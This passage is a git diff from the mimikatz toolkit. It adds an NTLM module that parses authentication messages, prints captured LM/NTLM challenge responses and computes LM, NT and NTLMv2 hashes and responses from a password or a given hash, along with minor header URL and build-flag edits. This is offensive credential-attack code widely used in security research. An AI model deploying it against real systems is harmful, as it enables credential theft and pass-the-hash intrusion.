+ kull_m_string_wprintf_hex(pNTLMv2->ClientChallenge.ChallengeFromClient, sizeof(pNTLMv2->ClientChallenge.ChallengeFromClient), 0);
+ kprintf(L"\n TimeStamp : ");
+ kull_m_string_displayLocalFileTime(&pNTLMv2->ClientChallenge.TimeStamp);
+ kprintf(L"\n");
+ if(pAuth->NtChallengeResponseFields.Len >= (sizeof(KIWI_NTLM_NTLMv2_RESPONSE) + FIELD_OFFSET(KIWI_NTLM_AV_PAIR, Value)))
+ kull_m_ntlm_descrAvPairs((PKIWI_NTLM_AV_PAIR) ((PUCHAR) pNTLMv2 + sizeof(KIWI_NTLM_NTLMv2_RESPONSE)), pAuth->NtChallengeResponseFields.Len - sizeof(KIWI_NTLM_NTLMv2_RESPONSE));
+ }
+ else if(pAuth->NtChallengeResponseFields.Len == sizeof(KIWI_NTLM_NTLM_RESPONSE))
+ {
+ if(pAuth->LmChallengeResponseFields.Len == sizeof(KIWI_NTLM_LM_RESPONSE))
+ {
+ pLMv1 = (PKIWI_NTLM_LM_RESPONSE) ((PBYTE) pAuth + pAuth->LmChallengeResponseFields.Offset);
+ kprintf(L" LMv1:\n");
+ if(pAuth->NegotiateFlags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY)
+ {
+ kprintf(L" NTLM2 ESS : ");
+ kull_m_string_wprintf_hex(pLMv1->Response, 8, 0);
+ }
+ else
+ {
+ kprintf(L" Response : ");
+ kull_m_string_wprintf_hex(pLMv1->Response, sizeof(pLMv1->Response), 0);
+ }
+ kprintf(L"\n");
+ }
+ pNTLMv1 = (PKIWI_NTLM_NTLM_RESPONSE) ((PBYTE) pAuth + pAuth->NtChallengeResponseFields.Offset);
+ kprintf(L" NTLMv1:\n Response : ");
+ kull_m_string_wprintf_hex(pNTLMv1->Response, sizeof(pNTLMv1->Response), 0);
+ kprintf(L"\n");
+ }
+ else PRINT_ERROR(L"NtChallengeResponseFields.Len = %hu\n", pAuth->NtChallengeResponseFields.Len);
+}
+
+const BYTE KIWI_NTLM_BLACK_CHALLENGES[][8] = {
+ {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
+ {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88},
+ {0x00, 0x02, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00},
+ {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08},
+ {'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'},
+ {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef},
+};
+void kull_m_ntlm_descrChallenge(PKIWI_NTLM_CHALLENGE_MESSAGE pChal)
+{
+ DWORD i;
+ kprintf(L" NegotiateFlags: ");
+ kull_m_ntlm_descrNegotiateFlags(pChal->NegotiateFlags);
+ kprintf(L" Challenge : "); kull_m_string_wprintf_hex(pChal->Challenge, sizeof(pChal->Challenge), 0); kprintf(L"\n");
+ for(i = 0; i < ARRAYSIZE(KIWI_NTLM_BLACK_CHALLENGES); i++)
+ if(RtlEqualMemory(KIWI_NTLM_BLACK_CHALLENGES[i], pChal->Challenge, 8))
+ {
+ kprintf(L" ** BLACKLISTED CHALLENGE! **\n");
+ break;
+ }
+ if(pChal->NegotiateFlags & NTLMSSP_REQUEST_TARGET)
+ kprintf(L" TargetName : %.*s\n", pChal->TargetNameFields.Len / sizeof(wchar_t), (PUCHAR) pChal + pChal->TargetNameFields.Offset);
+ if(pChal->NegotiateFlags & NTLMSSP_NEGOTIATE_TARGET_INFO)
+ {
+ kprintf(L" TargetInfo :\n");
+ kull_m_ntlm_descrAvPairs((PKIWI_NTLM_AV_PAIR) ((PBYTE) pChal + pChal->TargetInfoFields.Offset), pChal->TargetInfoFields.Len);
+ }
+ if(pChal->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)
+ kprintf(L" Version : %hhu.%hhu (%hu) - rev. %hhu\n", pChal->Version.ProductMajorVersion, pChal->Version.ProductMinorVersion, pChal->Version.ProductBuild, pChal->Version.NTLMRevisionCurrent);
+}
+
+void kull_m_ntlm_descrNegotiate(PKIWI_NTLM_NEGOTIATE_MESSAGE pNeg)
+{
+ kprintf(L" NegotiateFlags: ");
+ kull_m_ntlm_descrNegotiateFlags(pNeg->NegotiateFlags);
+ if(pNeg->NegotiateFlags & NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED)
+ {
+ kprintf(L" DomainName : ");
+ if(pNeg->DomainNameFields.Len)
+ kprintf(L"%.*S\n", pNeg->DomainNameFields.Len, (PBYTE) pNeg + pNeg->DomainNameFields.Offset);
+ else kprintf(L"\n");
+ }
+ if(pNeg->NegotiateFlags & NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED)
+ {
+ kprintf(L" Workstation : ");
+ if(pNeg->WorkstationFields.Len)
+ kprintf(L"%.*S\n", pNeg->WorkstationFields.Len, (PBYTE) pNeg + pNeg->WorkstationFields.Offset);
+ else kprintf(L"\n");
+ }
+ if(pNeg->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)
+ kprintf(L" Version : %hhu.%hhu (%hu) - rev. %hhu\n", pNeg->Version.ProductMajorVersion, pNeg->Version.ProductMinorVersion, pNeg->Version.ProductBuild, pNeg->Version.NTLMRevisionCurrent);
+}
+
+void kull_m_ntlm_descrGeneric(PSecBufferDesc buff, ULONG WantedMessageType)
+{
+ ULONGLONG Signature;
+ ULONG MessageType;
+ if(buff)
+ {
+ if(buff->ulVersion == SECBUFFER_VERSION)
+ {
+ if(buff->cBuffers == 1)
+ {
+ if(buff->pBuffers)
+ {
+ if((buff->pBuffers[0].BufferType & ~SECBUFFER_ATTRMASK) == SECBUFFER_TOKEN)
+ {
+ if(buff->pBuffers[0].cbBuffer > (sizeof(ULONGLONG) + sizeof(ULONG)))
+ {
+ if(buff->pBuffers[0].pvBuffer)
+ {
+ Signature = *(PULONGLONG) buff->pBuffers[0].pvBuffer;
+ MessageType = ((PULONG) buff->pBuffers[0].pvBuffer)[2];
+ if(Signature == NTLMSSP_Signature_ULL)
+ {
+ if(!WantedMessageType || (WantedMessageType == MessageType))
+ {
+ switch(MessageType)
+ {
+ case NTLMSSP_TypeOneMessage:
+ kull_m_ntlm_descrNegotiate((PKIWI_NTLM_NEGOTIATE_MESSAGE) buff->pBuffers[0].pvBuffer);
+ break;
+ case NTLMSSP_TypeTwoMessage:
+ kull_m_ntlm_descrChallenge((PKIWI_NTLM_CHALLENGE_MESSAGE) buff->pBuffers[0].pvBuffer);
+ break;
+ case NTLMSSP_TypeThreeMessage:
+ kull_m_ntlm_descrAuthenticate((PKIWI_NTLM_AUTHENTICATE_MESSAGE) buff->pBuffers[0].pvBuffer);
+ break;
+ default:
+ PRINT_ERROR(L"Unknown MessageType: 0x%08x\n", MessageType);
+ }
+ }
+ else PRINT_ERROR(L"Invalid MessageType: 0x%08x\n", MessageType);
+ }
+ else PRINT_ERROR(L"Invalid Signature: %016llx\n", _byteswap_uint64(Signature));
+ }
+ else PRINT_ERROR(L"SecBuffer - pvBuffer is NULL\n");
+ }
+ else PRINT_ERROR(L"SecBuffer - cbBuffer (%u)\n", buff->pBuffers[0].BufferType);
+ }
+ else PRINT_ERROR(L"SecBuffer - BufferType (0x%08x)\n", buff->pBuffers[0].BufferType);
+ }
+ else PRINT_ERROR(L"SecBufferDesc - pBuffers is NULL\n");
+ }
+ else PRINT_ERROR(L"SecBufferDesc - cbBuffers (%u)\n", buff->cBuffers);
+ }
+ else PRINT_ERROR(L"SecBufferDesc - ulVersion (%u)\n", buff->ulVersion);
+ }
+ else PRINT_ERROR(L"SecBufferDesc - No buffer\n");
+}
+
+///////////////////////////////////////////////////////////////////////////////////
+typedef struct _GENERICKEY_BLOB {
+ BLOBHEADER Header;
+ DWORD dwKeyLen;
+} GENERICKEY_BLOB, *PGENERICKEY_BLOB;
+
+BOOL kull_m_crypto_hkey(HCRYPTPROV hProv, ALG_ID calgid, LPCVOID key, DWORD keyLen, DWORD flags, HCRYPTKEY *hKey, HCRYPTPROV *hSessionProv)
+{
+ BOOL status = FALSE;
+ PGENERICKEY_BLOB keyBlob;
+ DWORD szBlob = sizeof(GENERICKEY_BLOB) + keyLen;
+
+ if(calgid != CALG_3DES)
+ {
+ if(keyBlob = (PGENERICKEY_BLOB) LocalAlloc(LPTR, szBlob))
+ {
+ keyBlob->Header.bType = PLAINTEXTKEYBLOB;
+ keyBlob->Header.bVersion = CUR_BLOB_VERSION;
+ keyBlob->Header.reserved = 0;
+ keyBlob->Header.aiKeyAlg = calgid;
+ keyBlob->dwKeyLen = keyLen;
+ RtlCopyMemory((PBYTE) keyBlob + sizeof(GENERICKEY_BLOB), key, keyBlob->dwKeyLen);
+ status = CryptImportKey(hProv, (LPCBYTE) keyBlob, szBlob, 0, flags, hKey);
+ LocalFree(keyBlob);
+ }
+ }
+ //else if(hSessionProv)
+ // status = kull_m_crypto_hkey_session(calgid, key, keyLen, flags, hKey, hSessionProv);
+
+ return status;
+}
+
+BOOL kull_m_crypto_hmac(DWORD calgid, LPCVOID key, DWORD keyLen, LPCVOID message, DWORD messageLen, LPVOID hash, DWORD hashWanted) // for keyLen > 1
+{
+ BOOL status = FALSE;
+ DWORD hashLen;
+ HCRYPTPROV hProv;
+ HCRYPTKEY hKey;
+ HCRYPTHASH hHash;
+ HMAC_INFO HmacInfo = {calgid, NULL, 0, NULL, 0};
+ PBYTE buffer;
+
+ if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
+ {
+ if(kull_m_crypto_hkey(hProv, CALG_RC2, key, keyLen, CRYPT_IPSEC_HMAC_KEY, &hKey, NULL))
+ {
+ if(CryptCreateHash(hProv, CALG_HMAC, hKey, 0, &hHash))
+ {
+ if(CryptSetHashParam(hHash, HP_HMAC_INFO, (LPCBYTE) &HmacInfo, 0))
+ {
+ if(CryptHashData(hHash, (LPCBYTE) message, messageLen, 0))
+ {
+ if(CryptGetHashParam(hHash, HP_HASHVAL, NULL, &hashLen, 0))
+ {
+ if(buffer = (PBYTE) LocalAlloc(LPTR, hashLen))
+ {
+ status = CryptGetHashParam(hHash, HP_HASHVAL, buffer, &hashLen, 0);
+ RtlCopyMemory(hash, buffer, min(hashLen, hashWanted));
+ LocalFree(buffer);
+ }
+ }
+ }
+ }
+ CryptDestroyHash(hHash);
+ }
+ CryptDestroyKey(hKey);
+ }
+ CryptReleaseContext(hProv, 0);
+ }
+
+ return status;
+}
+
+BOOL kull_m_ntlm_HMAC_MD5(IN const BYTE pbKey[MD5_DIGEST_LENGTH], IN LPCBYTE pbMessage, IN const DWORD cbMessage, OUT BYTE pbDigest[MD5_DIGEST_LENGTH])
+{
+ return kull_m_crypto_hmac(CALG_MD5, pbKey, MD5_DIGEST_LENGTH, pbMessage, cbMessage, pbDigest, MD5_DIGEST_LENGTH);
+}
+
+BOOL kull_m_ntlm_LMHASH(IN LPCWSTR szPassword, OUT BYTE pbLMHash[LM_NTLM_HASH_LENGTH])
+{
+ BOOL status = FALSE;
+ UNICODE_STRING uPassword;
+ OEM_STRING oTmp;
+ RtlInitUnicodeString(&uPassword, szPassword);
+
+ if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&oTmp, &uPassword, TRUE)))
+ {
+ status = NT_SUCCESS(RtlCalculateLmOwfPassword(oTmp.Buffer, pbLMHash));
+ RtlFreeOemString(&oTmp);
+ }
+ return status;
+}
+
+BOOL kull_m_ntlm_NTHASH(IN LPCWSTR szPassword, OUT BYTE pbNTLMHash[LM_NTLM_HASH_LENGTH])
+{
+ UNICODE_STRING uPassword;
+ RtlInitUnicodeString(&uPassword, szPassword);
+ return NT_SUCCESS(RtlCalculateNtOwfPassword(&uPassword, pbNTLMHash));
+}
+
+BOOL kull_m_ntlm_LMOWFv1(IN OPTIONAL LPCWSTR szPassword, IN OPTIONAL BYTE pbLMHash[LM_NTLM_HASH_LENGTH], OUT BYTE pbLMKey[LM_NTLM_HASH_LENGTH])
+{
+ BOOL status = FALSE;
+
+ if(pbLMHash)
+ {
+ RtlCopyMemory(pbLMKey, pbLMHash, LM_NTLM_HASH_LENGTH);
+ status = TRUE;
+ }
+ else
+ {
+ status = kull_m_ntlm_LMHASH(szPassword, pbLMKey);
+ }
+
+ return status;
+}
+
+BOOL kull_m_ntlm_NTOWFv1(IN OPTIONAL LPCWSTR szPassword, IN OPTIONAL BYTE pbNTLMHash[LM_NTLM_HASH_LENGTH], OUT BYTE pbNTLMKey[LM_NTLM_HASH_LENGTH])
+{
+ BOOL status;
+
+ if(pbNTLMHash)
+ {
+ RtlCopyMemory(pbNTLMKey, pbNTLMHash, LM_NTLM_HASH_LENGTH);
+ status = TRUE;
+ }
+ else
+ {
+ status = kull_m_ntlm_NTHASH(szPassword, pbNTLMKey);
+ }
+
+ return status;
+}
+
+BOOL kull_m_ntlm_NTOWFv2(IN LPCWSTR szUserName, IN LPCWSTR szDomainName, IN OPTIONAL LPCWSTR szPassword, IN OPTIONAL BYTE pbNTLMHash[LM_NTLM_HASH_LENGTH], OUT BYTE pbNTLMv2Key[LM_NTLM_HASH_LENGTH])
+{
+ BOOL status = FALSE;
+ BYTE NTOWFv1[LM_NTLM_HASH_LENGTH];
+ UNICODE_STRING uUserName, uDomainName, uUpUserName, uConcat;
+
+ if(kull_m_ntlm_NTOWFv1(szPassword, pbNTLMHash, NTOWFv1))
+ {
+ RtlInitUnicodeString(&uUserName, szUserName ? szUserName : L"");
+ RtlInitUnicodeString(&uDomainName, szDomainName ? szDomainName : L"");
+ if(NT_SUCCESS(RtlUpcaseUnicodeString(&uUpUserName, &uUserName, TRUE)))
+ {
+ uConcat.Length = 0;
+ uConcat.MaximumLength = uUpUserName.Length + uDomainName.Length + sizeof(wchar_t);
+ uConcat.Buffer = (PWSTR) LocalAlloc(LPTR, uConcat.MaximumLength);
+ if(uConcat.Buffer)
+ {
+ if(NT_SUCCESS(RtlAppendUnicodeStringToString(&uConcat, &uUpUserName)))
+ {
+ if(NT_SUCCESS(RtlAppendUnicodeStringToString(&uConcat, &uDomainName)))
+ {
+ status = kull_m_ntlm_HMAC_MD5(NTOWFv1, (LPCBYTE) uConcat.Buffer, uConcat.Length, pbNTLMv2Key);
+ }
+ }
+ LocalFree(uConcat.Buffer);
+ }
+ RtlFreeUnicodeString(&uUpUserName);
+ }
+ }
+
+ return status;
+}
+
+BOOL kull_m_ntlm_NTLMv1Response(IN BYTE pbLMorNTLMHash[LM_NTLM_HASH_LENGTH], IN BYTE pbChallenge[DES_BLOCK_LENGTH], OUT BYTE pbResponse[3 * DES_BLOCK_LENGTH])
+{
+ return NT_SUCCESS(RtlCalculateLmResponse(pbChallenge, pbLMorNTLMHash, pbResponse));
+}
\ No newline at end of file
diff --git a/modules/kull_m_ntlm.h b/modules/kull_m_ntlm.h
new file mode 100644
index 0000000..f63b081
--- /dev/null
+++ b/modules/kull_m_ntlm.h
@@ -0,0 +1,164 @@
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+#include "globals.h"
+#include "kull_m_string.h"
+#include "kull_m_crypto_system.h"
+
+#define NTLMSSP_NEGOTIATE_56 0x80000000
+#define NTLMSSP_NEGOTIATE_KEY_EXCH 0x40000000
+#define NTLMSSP_NEGOTIATE_128 0x20000000
+#define NTLMSSP_RESERVED_1 0x10000000
+#define NTLMSSP_RESERVED_2 0x08000000
+#define NTLMSSP_RESERVED_3 0x04000000
+#define NTLMSSP_NEGOTIATE_VERSION 0x02000000
+#define NTLMSSP_RESERVED_4 0x01000000
+#define NTLMSSP_NEGOTIATE_TARGET_INFO 0x00800000
+#define NTLMSSP_REQUEST_NON_NT_SESSION_KEY 0x00400000
+#define NTLMSSP_RESERVED_5 0x00200000
+#define NTLMSSP_NEGOTIATE_IDENTIFY 0x00100000
+#define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000
+#define NTLMSSP_TARGET_TYPE_SHARE 0x00040000 // RESERVED_6
+#define NTLMSSP_TARGET_TYPE_SERVER 0x00020000
+#define NTLMSSP_TARGET_TYPE_DOMAIN 0x00010000
+#define NTLMSSP_NEGOTIATE_ALWAYS_SIGN 0x00008000
+#define NTLMSSP_NEGOTIATE_LOCAL_CALL 0x00004000 // RESERVED_7
+#define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED 0x00002000
+#define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED 0x00001000
+#define NTLMSSP_NEGOTIATE_ANONYMOUS 0x00000800
+#define NTLMSSP_RESERVED_8 0x00000400
+#define NTLMSSP_NEGOTIATE_NTLM 0x00000200
+#define NTLMSSP_RESERVED_9 0x00000100
+#define NTLMSSP_NEGOTIATE_LM_KEY 0x00000080
+#define NTLMSSP_NEGOTIATE_DATAGRAM 0x00000040
+#define NTLMSSP_NEGOTIATE_SEAL 0x00000020
+#define NTLMSSP_NEGOTIATE_SIGN 0x00000010
+#define NTLMSSP_RESERVED_10 0x00000008
+#define NTLMSSP_REQUEST_TARGET 0x00000004
+#define NTLMSSP_NEGOTIATE_OEM 0x00000002
+#define NTLMSSP_NEGOTIATE_UNICODE 0x00000001
+
+#define NTLMSSP_Signature "NTLMSSP"
+#define NTLMSSP_Signature_ULL 0x005053534d4c544e
+#define NTLMSSP_TypeOneMessage 0x00000001
+#define NTLMSSP_TypeTwoMessage 0x00000002
+#define NTLMSSP_TypeThreeMessage 0x00000003
+#pragma pack(push, 1)
+
+#ifndef MSV1_0_AV_FLAG_UNVERIFIED_TARGET
+#define MSV1_0_AV_FLAG_UNVERIFIED_TARGET 0x00000004
+#endif
+
+typedef struct _KIWI_NTLM_Single_Host_Data {
+ ULONG Size;
+ ULONG Z4;
+ UCHAR CustomData[8];
+ UCHAR MachineID[32];
+ UCHAR AdditionnalData[ANYSIZE_ARRAY];
+} KIWI_NTLM_Single_Host_Data, *PKIWI_NTLM_Single_Host_Data;
+
+typedef struct _KIWI_NTLM_AV_PAIR {
+ USHORT AvId;
+ USHORT AvLen;
+ UCHAR Value[ANYSIZE_ARRAY];
+} KIWI_NTLM_AV_PAIR, *PKIWI_NTLM_AV_PAIR;
+
+typedef struct _KIWI_NTLM_VERSION {
+ UCHAR ProductMajorVersion;
+ UCHAR ProductMinorVersion;
+ USHORT ProductBuild;
+ UCHAR Reserved[3];
+ UCHAR NTLMRevisionCurrent;
+} KIWI_NTLM_VERSION, *PKIWI_NTLM_VERSION;
+
+typedef struct _KIWI_NTLM_BUFFER {
+ USHORT Len;
+ USHORT MaxLen;
+ ULONG Offset;
+} KIWI_NTLM_BUFFER, *PKIWI_NTLM_BUFFER;
+
+typedef struct _KIWI_NTLM_LM_RESPONSE {
+ UCHAR Response[24];
+} KIWI_NTLM_LM_RESPONSE, *PKIWI_NTLM_LM_RESPONSE;
+
+typedef struct _KIWI_NTLM_NTLM_RESPONSE {
+ UCHAR Response[24];
+} KIWI_NTLM_NTLM_RESPONSE, *PKIWI_NTLM_NTLM_RESPONSE;
+
+typedef struct _KIWI_NTLM_LMv2_RESPONSE {
+ UCHAR Response[16];
+ UCHAR ChallengeFromClient[8];
+} KIWI_NTLM_LMv2_RESPONSE, *PKIWI_NTLM_LMv2_RESPONSE;
+
+typedef struct _KIWI_NTLM_NTLMv2_CLIENT_CHALLENGE {
+ UCHAR RespType;
+ UCHAR HiRespType;
+ USHORT Reserved1;
+ ULONG Reserved2;
+ FILETIME TimeStamp;
+ UCHAR ChallengeFromClient[8];
+ ULONG Reserved3;
+ // AvPairs;
+} KIWI_NTLM_NTLMv2_CLIENT_CHALLENGE, *PKIWI_NTLM_NTLMv2_CLIENT_CHALLENGE;
+
+typedef struct _KIWI_NTLM_NTLMv2_RESPONSE {
+ UCHAR Response[16];
+ KIWI_NTLM_NTLMv2_CLIENT_CHALLENGE ClientChallenge;
+} KIWI_NTLM_NTLMv2_RESPONSE, *PKIWI_NTLM_NTLMv2_RESPONSE;
+
+typedef struct _KIWI_NTLM_NEGOTIATE_MESSAGE {
+ ULONGLONG Signature;
+ ULONG MessageType;
+ ULONG NegotiateFlags;
+ KIWI_NTLM_BUFFER DomainNameFields;
+ KIWI_NTLM_BUFFER WorkstationFields;
+ KIWI_NTLM_VERSION Version;
+ UCHAR Payload[ANYSIZE_ARRAY];
+} KIWI_NTLM_NEGOTIATE_MESSAGE, *PKIWI_NTLM_NEGOTIATE_MESSAGE;
+
+typedef struct _KIWI_NTLM_CHALLENGE_MESSAGE {
+ ULONGLONG Signature;
+ ULONG MessageType;
+ KIWI_NTLM_BUFFER TargetNameFields;
+ ULONG NegotiateFlags;
+ UCHAR Challenge[8];
+ CHAR Reserved[8];
+ KIWI_NTLM_BUFFER TargetInfoFields;
+ KIWI_NTLM_VERSION Version;
+ UCHAR Payload[ANYSIZE_ARRAY];
+} KIWI_NTLM_CHALLENGE_MESSAGE, *PKIWI_NTLM_CHALLENGE_MESSAGE;
+
+typedef struct _KIWI_NTLM_AUTHENTICATE_MESSAGE {
+ ULONGLONG Signature;
+ ULONG MessageType;
+ KIWI_NTLM_BUFFER LmChallengeResponseFields;
+ KIWI_NTLM_BUFFER NtChallengeResponseFields;
+ KIWI_NTLM_BUFFER DomainNameFields;
+ KIWI_NTLM_BUFFER UserNameFields;
+ KIWI_NTLM_BUFFER WorkstationFields;
+ KIWI_NTLM_BUFFER EncryptedRandomSessionKeyFields;
+ ULONG NegotiateFlags;
+ KIWI_NTLM_VERSION Version;
+ UCHAR MIC[16];
+ UCHAR Payload[ANYSIZE_ARRAY];
+} KIWI_NTLM_AUTHENTICATE_MESSAGE, *PKIWI_NTLM_AUTHENTICATE_MESSAGE;
+#pragma pack(pop)
+
+void kull_m_ntlm_descrNegotiateFlags(ULONG flags);
+void kull_m_ntlm_descrAvPairs(PKIWI_NTLM_AV_PAIR pPair, USHORT len);
+void kull_m_ntlm_descrAuthenticate(PKIWI_NTLM_AUTHENTICATE_MESSAGE pAuth);
+void kull_m_ntlm_descrChallenge(PKIWI_NTLM_CHALLENGE_MESSAGE pChal);
+void kull_m_ntlm_descrNegotiate(PKIWI_NTLM_NEGOTIATE_MESSAGE pNeg);
+void kull_m_ntlm_descrGeneric(PSecBufferDesc buff, ULONG WantedMessageType);
+
+BOOL kull_m_ntlm_HMAC_MD5(IN const BYTE pbKey[MD5_DIGEST_LENGTH], IN LPCBYTE pbMessage, IN const DWORD cbMessage, OUT BYTE pbDigest[MD5_DIGEST_LENGTH]);
+BOOL kull_m_ntlm_LMHASH(IN LPCWSTR szPassword, OUT BYTE pbLMHash[LM_NTLM_HASH_LENGTH]);
+BOOL kull_m_ntlm_NTHASH(IN LPCWSTR szPassword, OUT BYTE pbNTLMHash[LM_NTLM_HASH_LENGTH]);
+BOOL kull_m_ntlm_LMOWFv1(IN OPTIONAL LPCWSTR szPassword, IN OPTIONAL BYTE pbLMHash[LM_NTLM_HASH_LENGTH], OUT BYTE pbLMKey[LM_NTLM_HASH_LENGTH]);
+BOOL kull_m_ntlm_NTOWFv1(IN OPTIONAL LPCWSTR szPassword, IN OPTIONAL BYTE pbNTLMHash[LM_NTLM_HASH_LENGTH], OUT BYTE pbNTLMKey[LM_NTLM_HASH_LENGTH]);
+BOOL kull_m_ntlm_NTOWFv2(IN LPCWSTR szUserName, IN LPCWSTR szDomainName, IN OPTIONAL LPCWSTR szPassword, IN OPTIONAL BYTE pbNTLMHash[LM_NTLM_HASH_LENGTH], OUT BYTE pbNTLMv2Key[LM_NTLM_HASH_LENGTH]);
+
+BOOL kull_m_ntlm_NTLMv1Response(IN BYTE pbLMorNTLMHash[LM_NTLM_HASH_LENGTH], IN BYTE pbChallenge[DES_BLOCK_LENGTH], OUT BYTE pbResponse[3 * DES_BLOCK_LENGTH]);
\ No newline at end of file
diff --git a/modules/kull_m_output.c b/modules/kull_m_output.c
index ffff263..b1f4210 100644
--- a/modules/kull_m_output.c
+++ b/modules/kull_m_output.c
@@ -1,22 +1,26 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_output.h"
FILE * logfile = NULL;
+#if !defined(MIMIKATZ_W2000_SUPPORT)
wchar_t * outputBuffer = NULL;
size_t outputBufferElements = 0, outputBufferElementsPosition = 0;
+#endif
void kprintf(PCWCHAR format, ...)
{
+#if !defined(MIMIKATZ_W2000_SUPPORT)
int varBuf;
size_t tempSize;
wchar_t * tmpBuffer;
+#endif
va_list args;
va_start(args, format);
-
+#if !defined(MIMIKATZ_W2000_SUPPORT)
if(outputBuffer)
{
varBuf = _vscwprintf(format, args);
@@ -42,8 +46,11 @@ void kprintf(PCWCHAR format, ...)
outputBufferElementsPosition += varBuf;
}
}
-#ifndef _WINDLL
+#endif
+#if !defined(_POWERKATZ)
+#if !defined(MIMIKATZ_W2000_SUPPORT)
else
+#endif
{
vwprintf(format, args);
fflush(stdout);
@@ -92,9 +99,11 @@ int previousStdOut, previousStdErr;
UINT previousConsoleOutput;
void kull_m_output_init()
{
-#ifndef _WINDLL
+#if !defined(_POWERKATZ)
+#if !defined(_WINDLL)
previousStdOut = _setmode(_fileno(stdout), _O_U8TEXT);
previousStdErr = _setmode(_fileno(stderr), _O_U8TEXT);
+#endif
previousConsoleOutput = GetConsoleOutputCP();
SetConsoleOutputCP(CP_UTF8);
#endif
@@ -102,9 +111,11 @@ void kull_m_output_init()
void kull_m_output_clean()
{
-#ifndef _WINDLL
+#if !defined(_POWERKATZ)
+#if !defined(_WINDLL)
_setmode(_fileno(stdout), previousStdOut);
_setmode(_fileno(stderr), previousStdErr);
+#endif
SetConsoleOutputCP(previousConsoleOutput);
#endif
}
\ No newline at end of file
diff --git a/modules/kull_m_output.h b/modules/kull_m_output.h
index fca5e47..5126d3e 100644
--- a/modules/kull_m_output.h
+++ b/modules/kull_m_output.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_pipe.c b/modules/kull_m_pipe.c
index b4d8a5b..60eb906 100644
--- a/modules/kull_m_pipe.c
+++ b/modules/kull_m_pipe.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_pipe.h b/modules/kull_m_pipe.h
index 863b5bc..cbfdcc1 100644
--- a/modules/kull_m_pipe.h
+++ b/modules/kull_m_pipe.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_samlib.h b/modules/kull_m_samlib.h
index fbc5690..d9d6a46 100644
--- a/modules/kull_m_samlib.h
+++ b/modules/kull_m_samlib.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_sock.c b/modules/kull_m_sock.c
index 64d89ea..b8fc15c 100644
--- a/modules/kull_m_sock.c
+++ b/modules/kull_m_sock.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
diff --git a/modules/kull_m_sock.h b/modules/kull_m_sock.h
index f467ee4..adb2b06 100644
--- a/modules/kull_m_sock.h
+++ b/modules/kull_m_sock.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
diff --git a/modules/kull_m_string.c b/modules/kull_m_string.c
index 37b9911..6185aae 100644
--- a/modules/kull_m_string.c
+++ b/modules/kull_m_string.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_string.h b/modules/kull_m_string.h
index 9f3314a..f2dc3ce 100644
--- a/modules/kull_m_string.h
+++ b/modules/kull_m_string.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -30,6 +30,7 @@ extern VOID WINAPI RtlUpperString(OUT PSTRING DestinationString, IN const STRING
extern NTSTATUS WINAPI RtlUpcaseUnicodeString(IN OUT PUNICODE_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString);
extern NTSTATUS WINAPI RtlDowncaseUnicodeString(PUNICODE_STRING DestinationString, IN PCUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString);
extern WCHAR WINAPI RtlUpcaseUnicodeChar(IN WCHAR SourceCharacter);
